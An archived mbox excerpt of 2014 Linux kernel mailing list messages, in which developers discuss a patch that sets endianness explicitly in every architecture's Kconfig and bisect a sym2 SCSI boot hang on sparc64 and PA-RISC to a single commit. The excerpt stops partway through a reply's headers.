	Liqin Chen <liqin.linux@gmail.com>, jesper.nilsson@axis.com,
	linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
	linux-c6x-dev@linux-c6x.org, "David S. Miller" <davem@davemloft.net>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	Michael Ellerman <mpe@ellerman.id.au>, takata@linux-m32r.org,
	x86@kernel.org, jejb@paris
To: Chen Gang <gang.chen.5i5j@gmail.com>
Original-X-From: linux-bounces@lists.openrisc.net Fri Aug 15 03:52:12 2014
Return-path: <linux-bounces@lists.openrisc.net>
Envelope-to: glpo-linux@m.gmane.org
Original-Received: from openrisc.net ([37.247.8.39])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-bounces@lists.openrisc.net>)
	id 1XI6gd-00024z-No
	for glpo-linux@m.gmane.org; Fri, 15 Aug 2014 03:52:11 +0200
Original-Received: from openrisc.net (localhost [127.0.0.1])
	by openrisc.net (Postfix) with ESMTP id 989AA160BF7;
	Fri, 15 Aug 2014 03:52:11 +0200 (CEST)
Original-Received: from mail-oi0-f42.google.com (mail-oi0-f42.google.com
	[209.85.218.42]) by openrisc.net (Postfix) with ESMTPS id A4D43160BC0
	for <linux@lists.openrisc.net>; Fri, 15 Aug 2014 03:52:10 +0200 (CEST)
Original-Received: by mail-oi0-f42.google.com with SMTP id a3so1303210oib.15
	for <linux@lists.openrisc.net>; Thu, 14 Aug 2014 18:52:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
	h=mime-version:in-reply-to:references:date:message-id:subject:from:to
	:cc:content-type;
	bh=DAZSQCzv6arI+V++2yNFiX+GMu/Q0DjeQC2RE+Shoqk=;
	b=b7GrHfpZ9hFD/byJsJdrpxEhtpcKpL77INrYIT4hN4sHmJgwV7eOYrL2zv9UZEkyeK
	y/sk6tuMrFV3M6N522tMKJslqrBNzEUY9Oi7fb2AZbV4r9x43FN8jFneMukgdfjsu62N
	iB/RbpGPFsaPZ798Temjw0AYG65UoJv2WCiwmcwuORqso1jQbFq5/aE4/S6QzoQgI11G
	7YOaF3VobEQmr2zxOaB00FxJ3O3p2NLHrWnu0aRLqqjwJgHEkoMzI1wsAgJmV5CvnHEN
	27P3P156pGH60T+mP0Bl8d0/MeLoVq0u8/vCLyiGB439jMPBu1E90E2SLzBO517H2pjZ
	ETdA==
X-Received: by 10.60.60.167 with SMTP id i7mr17654701oer.41.1408067529153;
	Thu, 14 Aug 2014 18:52:09 -0700 (PDT)
Original-Received: by 10.76.130.47 with HTTP; Thu, 14 Aug 2014 18:52:09 -0700 (PDT)
In-Reply-To: <CAMo8BfLuXZ8zyEoKdo8yb6nd+pZUnx0YEL9nqHx98kt76ezfYg@mail.gmail.com>
X-BeenThere: linux@lists.openrisc.net
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: OpenRISC Linux <linux.lists.openrisc.net>
List-Unsubscribe: <http://lists.openrisc.net/options/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=unsubscribe>
List-Archive: <http://lists.openrisc.net/pipermail/linux>
List-Post: <mailto:linux@lists.openrisc.net>
List-Help: <mailto:linux-request@lists.openrisc.net?subject=help>
List-Subscribe: <http://lists.openrisc.net/listinfo/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=subscribe>
Original-Sender: linux-bounces@lists.openrisc.net
Errors-To: linux-bounces@lists.openrisc.net
Xref: news.gmane.org gmane.linux.ports.openrisc:520 gmane.linux.ports.mips.general:43261 gmane.linux.ports.sparc:19445 gmane.linux.ports.hexagon:754 gmane.linux.ports.alpha:2353 gmane.linux.uml.user:14708 gmane.linux.kernel.metag:250 gmane.linux.ports.arm.kernel:348678 gmane.linux.ports.ia64:24127 gmane.linux.ports.parisc:5980 gmane.linux.kernel:1768403 gmane.linux.uml.devel:14564 gmane.linux.ports.ppc64.devel:104343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.openrisc/520>

On Fri, Aug 15, 2014 at 5:47 AM, Max Filippov <jcmvbkbc@gmail.com> wrote:
> Hi Chen,
>
> On Thu, Aug 14, 2014 at 8:54 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>> Normal architectures:
>>
>>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
>>
>>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>>                   score, unicore32, x86
>>
>>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
>>
>> Special architectures:
>>
>>  - Deside by compiler: microblaze, tile, xtensa.
>>
>>  - Deside by building host: um
>>
>>  - Next, need improve Kbuild to probe endian to deside whether need mark
>>    __BUILDING_TIME_BIG_ENDIAN__ before real config.
>
> [...]
>
>> diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
>> index 3a617af..a3e8f7e 100644
>> --- a/arch/xtensa/Kconfig
>> +++ b/arch/xtensa/Kconfig
>> @@ -22,6 +22,8 @@ config XTENSA
>>         select HAVE_IRQ_TIME_ACCOUNTING
>>         select HAVE_PERF_EVENTS
>>         select COMMON_CLK
>> +       select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
>> +       select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
>>         help
>>           Xtensa processors are 32-bit RISC machines designed by Tensilica
>>           primarily for embedded systems.  These processors are both
>
> I've tested this part and it doesn't select neither CPU_BIG_ENDIAN,
> nor CPU_LITTLE_ENDIAN. And looking into the Kconfig/Kbuild I cound't

Correction: it always selects CPU_LITTLE_ENDIAN, regardless of the
compiler endianness.

> find anything related to __BUILDING_TIME_BIG_ENDIAN__. Am I missing
> something?

-- 
Thanks.
-- Max

From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.kbuild.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 10:06:56 +0800
Lines: 67
Approved: news@gmane.org
Message-ID: <53ED6B40.8000409@gmail.com>
References: <53ECE9DD.80004@gmail.com>  <CAMo8BfLuXZ8zyEoKdo8yb6nd+pZUnx0YEL9nqHx98kt76ezfYg@mail.gmail.com> <CAMo8Bf+=EgXc0hq14y9Kdykaw_7E52kRAENU1P0fAK4tTx=JpA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408068206 16450 80.91.229.3 (15 Aug 2014 02:03:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2014 02:03:26 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        "vgupta@synopsys.com" <vgupta@synopsys.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>, hskinnemoen@gmail.com,
        egtvedt@samfundet.no, realmz6@gmail.com,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>, starvik@axis.com,
        jesper.nilsson@axis.com, David Howells <dhowells@redhat.com>,
        rkuo@codeaurora.org, tony.luck@intel.com, fenghua.yu@intel.com,
        takata@linux-m32r.org, James Hogan <james.hogan@imgtec.com>,
To: Max Filippov <jcmvbkbc@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 04:03:11 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XI6rG-0005pC-D5
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 04:03:10 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53933 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855166AbaHOCDIR2NID (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 04:03:08 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 04:02:53 +0200 (CEST)
Original-Received: from mail-pa0-f43.google.com ([209.85.220.43]:41407 "EHLO
        mail-pa0-f43.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6855142AbaHOCCsVXJjD (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 15 Aug 2014 04:02:48 +0200
Original-Received: by mail-pa0-f43.google.com with SMTP id lf10so2678051pab.16
        for <multiple recipients>; Thu, 14 Aug 2014 19:02:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=h5EvHdt+8yp+8ser3AXFJOkyXGDS4RVPgKEPlkYBUnk=;
        b=rS5ZugBS5SXG4UwS6DxAWQVYjb9a3SVguC42GXiEoMrg3tBDzRJY7eT5bbHukJB3gU
         mbCI7TTxXqU6JrNGH4wwMWgeuvTmKVClB70iuOOcJrZa2YdpqM1mIDyqGCQnl5uA1Wzb
         wuFkM9QoysYgJeF1m14HGUkEl/Vk/vRQc6BNyERNlgslwjFG1XYKU5GNYBEwa7JUXg4H
         BNXN/euelb6znGOYgSUnWzSN93Hx5zDT6CBzVfoNimsxjvRpx0X6FGtC1tUcld5BFKcP
         jDabDG4mhZdMSd9fXdjKHKgHwBrj8p72PjFuMCk+V2PzSNqFIg12HR6CjUMF2rB6HLD7
         AlyQ==
X-Received: by 10.68.68.225 with SMTP id z1mr8209881pbt.110.1408068160696;
        Thu, 14 Aug 2014 19:02:40 -0700 (PDT)
Original-Received: from ShengShiZhuChengdeMacBook-Pro.local ([219.143.82.150])
        by mx.google.com with ESMTPSA id ov4sm6603416pbc.86.2014.08.14.19.02.10
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 14 Aug 2014 19:02:40 -0700 (PDT)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <CAMo8Bf+=EgXc0hq14y9Kdykaw_7E52kRAENU1P0fAK4tTx=JpA@mail.gmail.com>
X-archive-position: 42115
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43262 gmane.linux.ports.alpha:2354 gmane.linux.kernel:1768406 gmane.linux.ports.arm.kernel:348679 gmane.linux.ports.hexagon:755 gmane.linux.ports.ia64:24128 gmane.linux.kernel.metag:251 gmane.linux.ports.openrisc:521 gmane.linux.ports.parisc:5981 gmane.linux.ports.ppc64.devel:104344 gmane.linux.ports.sparc:19446 gmane.linux.uml.devel:14565 gmane.linux.uml.user:14709 gmane.linux.kbuild.devel:12012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43262>

On 8/15/14 9:52, Max Filippov wrote:
> On Fri, Aug 15, 2014 at 5:47 AM, Max Filippov <jcmvbkbc@gmail.com> wrote:
>> Hi Chen,
>>
>> On Thu, Aug 14, 2014 at 8:54 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>>> Normal architectures:
>>>
>>>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
>>>
>>>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>>>                   score, unicore32, x86
>>>
>>>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
>>>
>>> Special architectures:
>>>
>>>  - Deside by compiler: microblaze, tile, xtensa.
>>>
>>>  - Deside by building host: um
>>>
>>>  - Next, need improve Kbuild to probe endian to deside whether need mark
>>>    __BUILDING_TIME_BIG_ENDIAN__ before real config.

Please check this comments, thanks.

>>
>> [...]
>>
>>> diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
>>> index 3a617af..a3e8f7e 100644
>>> --- a/arch/xtensa/Kconfig
>>> +++ b/arch/xtensa/Kconfig
>>> @@ -22,6 +22,8 @@ config XTENSA
>>>         select HAVE_IRQ_TIME_ACCOUNTING
>>>         select HAVE_PERF_EVENTS
>>>         select COMMON_CLK
>>> +       select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
>>> +       select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
>>>         help
>>>           Xtensa processors are 32-bit RISC machines designed by Tensilica
>>>           primarily for embedded systems.  These processors are both
>>
>> I've tested this part and it doesn't select neither CPU_BIG_ENDIAN,
>> nor CPU_LITTLE_ENDIAN. And looking into the Kconfig/Kbuild I cound't
> 
> Correction: it always selects CPU_LITTLE_ENDIAN, regardless of the
> compiler endianness.
> 

Yeah, at present, it always select CPU_LITTLE_ENDIAN, next, Kbuild need
be improved for it, just the comments said.

If this patch can be pass checking, I shall improve the Kbuild for it,
also will modify some individual drivers to use CPU_*_ENDIAN.

I guess, we need Cc to kbuild for getting more ideas, suggestions, or
completions.



THanks.
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 17:01:20 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <53EDCC60.5040608@gmail.com>
References: <53ECE9DD.80004@gmail.com> <20140814180418.GA20777@linux-mips.org> <53ED34CE.3040001@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408093075 13877 80.91.229.3 (15 Aug 2014 08:57:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2014 08:57:55 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
        rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
        jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
        tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
        james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
        yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
        jejb@parisc-linux.org, deller@gmx.de,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        paulus@samba.org, mpe@ellerman.id.au,
        Mart
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 10:57:39 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XIDKN-0005bd-7C
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 10:57:39 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:54548 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855183AbaHOI5h07y1P (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 10:57:37 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 10:57:23 +0200 (CEST)
Original-Received: from mail-pa0-f49.google.com ([209.85.220.49]:42236 "EHLO
        mail-pa0-f49.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6816855AbaHOI5NOV8We (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 15 Aug 2014 10:57:13 +0200
Original-Received: by mail-pa0-f49.google.com with SMTP id hz1so3160668pad.22
        for <multiple recipients>; Fri, 15 Aug 2014 01:57:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=VOeqw/n7UCD7wMmRLxfit5rey0ZmaJSVDygLXIGaB9g=;
        b=k3IYshbANurNxjIxvmqWAvWiikaWtHUqR+X+lmAlJjP/5jTWFLA6JGaODj+yzfwRzH
         BQFxBwglwpSJsVpmIEh5kO0DzTLWDCvZ7V3YMlMBLAHeO+stYkx1efLOLodmM7/W6ImM
         hurylFKXCDDO60sx9S49EFiYYEkbYPVCcalacUTq7NrnfAG2GyaLSP95H+Gw6D6ZGpfU
         jNOFq6CLFoQz51CKrGF10RJLaISITtyXAAOglQlaKuxhA0JGZGpEkEcGTyg9KUR0AnzH
         tlmnQlzXLwoq5U5N3t4cCuIbFZOdLRPbE8GjK8rUb35i9UobGEMan/XD1F2MeMCc54NO
         5dQQ==
X-Received: by 10.66.139.232 with SMTP id rb8mr10473263pab.130.1408093025145;
        Fri, 15 Aug 2014 01:57:05 -0700 (PDT)
Original-Received: from [192.168.2.114] ([124.127.118.42])
        by mx.google.com with ESMTPSA id zh7sm25873054pab.1.2014.08.15.01.56.33
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Aug 2014 01:57:04 -0700 (PDT)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <53ED34CE.3040001@gmail.com>
X-archive-position: 42118
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43265 gmane.linux.ports.alpha:2355 gmane.linux.kernel:1768493 gmane.linux.ports.arm.kernel:348699 gmane.linux.ports.hexagon:756 gmane.linux.ports.ia64:24130 gmane.linux.ports.m68k:6080 gmane.linux.kernel.metag:252 gmane.linux.ports.openrisc:522 gmane.linux.ports.parisc:5982 gmane.linux.ports.ppc64.devel:104364 gmane.linux.ports.sparc:19447 gmane.linux.uml.devel:14566 gmane.linux.uml.user:14710 gmane.linux.ports.sh.devel:38136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43265>



On 8/15/14 6:14, Chen Gang wrote:
> On 08/15/2014 02:04 AM, Ralf Baechle wrote:
>>
> 
> OK, thanks, I assumes when support both endian, the default choice is
> CPU_BIG_ENDIAN, although no default value for choice (originally, I did
> worry about it).
> 
>> So I think you can just drop the MIPS segment from your patch.
>>
> 
> If what I assumes is correct, what you said sounds reasonable to me.
> 
> 

So for me, it is harmless to add CPU_*_ENDIAN explicitly, and can let
other members don't need think of.

By the way, for sh, it is almost the same case, except it contents the
default value, for me, it is clear enough, so I skip sh architecture in
this patch.


Thanks
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed



From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi,gmane.linux.ports.sparc
Subject: Re: Sym2 scsi hang on boot on sparc64
Date: Tue, 19 Aug 2014 23:17:48 +0300
Lines: 42
Approved: news@gmane.org
Message-ID: <20140819201748.GC4885@drone.musicnaut.iki.fi>
References: <alpine.SOC.1.00.1408191420150.4929@math.ut.ee>
 <1408451668.2645.2.camel@jarvis>
 <alpine.SOC.1.00.1408191736190.7767@math.ut.ee>
 <1408459655.3491.1.camel@jarvis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1408479853 24041 80.91.229.3 (19 Aug 2014 20:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2014 20:24:13 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-scsi@vger.kernel.org,
	sparclinux@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 19 22:24:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XJpwp-00031Y-B5
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Aug 2014 22:24:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751928AbaHSUXy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Aug 2014 16:23:54 -0400
Original-Received: from filtteri1.pp.htv.fi ([213.243.153.184]:38574 "EHLO
	filtteri1.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751905AbaHSUXx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Aug 2014 16:23:53 -0400
X-Greylist: delayed 354 seconds by postgrey-1.27 at vger.kernel.org; Tue, 19 Aug 2014 16:23:52 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 5384721B8B8;
	Tue, 19 Aug 2014 23:17:56 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id dxGGGt0vkNH3; Tue, 19 Aug 2014 23:17:49 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id AF0345BC008;
	Tue, 19 Aug 2014 23:17:49 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1408459655.3491.1.camel@jarvis>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5984 gmane.linux.scsi:93612 gmane.linux.ports.sparc:19471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5984>

Hi,

On Tue, Aug 19, 2014 at 09:47:35AM -0500, James Bottomley wrote:
> On Tue, 2014-08-19 at 17:37 +0300, Meelis Roos wrote:
> > > On Tue, 2014-08-19 at 14:25 +0300, Meelis Roos wrote:
> > > > 3.16 scsi worked fine, 3.17-rc1 misbehaves on 3 of my sparc64 test 
> > > > machines. E220R and E420R are with onboard 5c3875, V210 is with onboarc 
> > > > 53c1010 and all behave the same. Any ideas whre to dig deeper? bisection 
> > > > might be nontrivial, because of sparc64 changes that are OK on 3.17-rc1 
> > > > again - but is possible if nothing else helps.
> > > 
> > > We've got a parisc with an 875 as a root SCSI bus ... I haven't got
> > > around to building for it yet, but I might find time to try today.
> > 
> > Same on parisc:
> > 
> > sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
> > sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
> > sym0: SCSI BUS has been reset.
> > scsi host0: sym-2.2.3
> > random: nonblocking pool is initialized
> > 
> > and hangs here. So hopefully it is reproducible for you.
> 
> And also independent of the sparc changes.  The only other change in the
> window you quote is 64 bit luns.

Bisection (on PA-RISC) points to:

71e75c97f97a9645d25fbf3d8e4165a558f18747 is the first bad commit
commit 71e75c97f97a9645d25fbf3d8e4165a558f18747
Author: Christoph Hellwig <hch@lst.de>
Date:   Fri Apr 11 19:07:01 2014 +0200

    scsi: convert device_busy to atomic_t

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: Sym2 scsi hang on boot on sparc64
Date: Tue, 19 Aug 2014 22:30:55 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20140819203054.GA24325@ravnborg.org>
References: <alpine.SOC.1.00.1408191420150.4929@math.ut.ee>
 <1408451668.2645.2.camel@jarvis>
 <alpine.SOC.1.00.1408191736190.7767@math.ut.ee>
 <1408459655.3491.1.camel@jarvis>
 <20140819201748.GC4885@drone.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1408480274 29126 80.91.229.3 (19 Aug 2014 20:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2014 20:31:14 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Meelis Roos <mroos@linux.ee>, linux-scsi@vger.kernel.org,
	sparclinux@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 19 22:31:05 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1XJq3c-0006rd-By
	for lnx-sparclinux@plane.gmane.org; Tue, 19 Aug 2014 22:31:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750809AbaHSUbD (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
